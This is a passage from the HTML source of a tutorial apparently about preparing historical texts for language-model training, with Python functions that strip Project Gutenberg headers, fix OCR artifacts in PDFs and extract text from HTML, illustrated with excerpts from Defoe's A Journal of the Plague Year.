&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip Gutenberg footers (after &amp;#34;*** END OF&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*** END OF&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; line:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip metadata lines&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; line&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;startswith((&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Title:&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Author:&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Release Date:&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Language:&amp;#39;&lt;/span&gt;)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip empty lines at start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; in_content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; line&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; in_content:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            cleaned_lines&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(line)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(cleaned_lines)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 2: Project Gutenberg Text Cleaning Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Before Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Title: A Journal of the Plague Year
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Author: Daniel Defoe
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Release Date: March 2003
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Language: English
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*** START OF THE PROJECT GUTENBERG EBOOK A JOURNAL OF THE PLAGUE YEAR ***
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It was about the beginning of September 1664, that I, among the rest of my neighbours, heard in ordinary discourse that the plague was returned again in Holland...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*** END OF THE PROJECT GUTENBERG EBOOK A JOURNAL OF THE PLAGUE YEAR ***&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It was about the beginning of September 1664, that I, among the rest of my neighbours, heard in ordinary discourse that the plague was returned again in Holland...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Without this cleaning, the model would learn to generate Gutenberg headers and metadata instead of authentic historical text, contaminating the training data with modern digital artifacts.&lt;/p&gt;
&lt;h5 id=&#34;pdf-files&#34;&gt;&lt;strong&gt;PDF Files&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;PDF files from historical archives often contain OCR errors and digital artifacts that require correction. The cleaning process in &lt;a href=&#34;#listing3&#34; class=&#34;listing-ref&#34;&gt;Listing 3&lt;/a&gt; addresses these issues while preserving historical content, removing page numbers and all-caps headers. While not perfect, it significantly improves text quality.&lt;/p&gt;
&lt;p&gt;The OCR correction rules are based on common patterns in historical documents and can be refined for specific datasets. Libraries like &lt;code&gt;PyMuPDF&lt;/code&gt; or &lt;code&gt;pdfplumber&lt;/code&gt; extract text, while regex-based cleaning corrects common OCR errors and removes digital stamps. More advanced techniques, such as layout analysis or AI-based OCR correction, can further enhance this process.&lt;/p&gt;
&lt;figure id=&#34;listing3&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;clean_pdf_text&lt;/span&gt;(text: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Clean PDF text by removing OCR artifacts and digital stamps&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove page numbers: [Page 123], standalone numbers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\[Page \d+\]&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;^\d+$&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, text, flags&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;MULTILINE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove library stamps: Internet Archive, Google, etc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    stamps &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Internet Archive&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Google Books&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;HathiTrust&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Digitized by Google&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Scanned by Google&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; stamp &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; stamps:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(stamp, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Fix common OCR artifacts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ocr_fixes &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b0\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;O&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 0 → O&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b1\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;I&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 1 → I  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b5\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;S&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 5 → S&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\b8\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 8 → B&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\brn\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;m&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# rn → m&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\bcl\b&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;d&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# cl → d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; pattern, replacement &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; ocr_fixes&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sub(pattern, replacement, text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove all-caps lines (usually headers)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cleaned_lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [line &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; lines &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; line&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;isupper() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;or&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(line) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(cleaned_lines)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 3: PDF Text Cleaning Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Before Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[Page 1]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INTERNET ARCHIVE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A JOURNAL OF THE PLAGUE YEAR
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BY DANIEL DEFOE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It was about the beginning of September 1664, that I, among the rest of my neighbours, heard in ordinary discourse that the plague was returned again in Holland. For it was indeed a very terrible time, and the people began to be very much alarmed at it.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After Cleaning:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A JOURNAL OF THE PLAGUE YEAR
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BY DANIEL DEFOE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It was about the beginning of September 1664, that I, among the rest of my neighbours, heard in ordinary discourse that the plague was returned again in Holland. For it was indeed a very terrible time, and the people began to be very much alarmed at it.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;OCR errors can significantly impact the quality of model training. For example, if &lt;code&gt;London&lt;/code&gt; appears as &lt;code&gt;L0nd0n&lt;/code&gt; due to OCR errors, the model won&amp;rsquo;t learn the correct spelling and will generate nonsensical text when asked about historical London. The correction process ensures our model learns authentic historical language patterns rather than digital artifacts, which is crucial for generating coherent and historically accurate text.&lt;/p&gt;
&lt;h5 id=&#34;html-files&#34;&gt;&lt;strong&gt;HTML Files&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;HTML files from historical websites and digital archives contain markup that needs to be stripped while preserving the actual text content. We use the &lt;code&gt;BeautifulSoup&lt;/code&gt; library in &lt;a href=&#34;#listing4&#34; class=&#34;listing-ref&#34;&gt;Listing 4&lt;/a&gt; to clean the HTML structure and extract only the meaningful text.&lt;/p&gt;
&lt;figure id=&#34;listing4&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;clean_html_text&lt;/span&gt;(html_content: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Clean HTML content by removing markup and extracting text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;bs4&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; BeautifulSoup
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    soup &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; BeautifulSoup(html_content, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;html.parser&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove unwanted elements&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; soup([&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;script&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;style&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;nav&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;header&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;footer&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;aside&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;menu&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;form&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;input&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;button&amp;#39;&lt;/span&gt;]):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        element&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decompose()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove wiki-specific elements&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; soup&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;find_all([&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;div&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;span&amp;#39;&lt;/span&gt;], class_&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;navbox&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;infobox&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;sidebar&amp;#39;&lt;/span&gt;]):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        element&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decompose()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove navigation elements&lt;/span&gt;
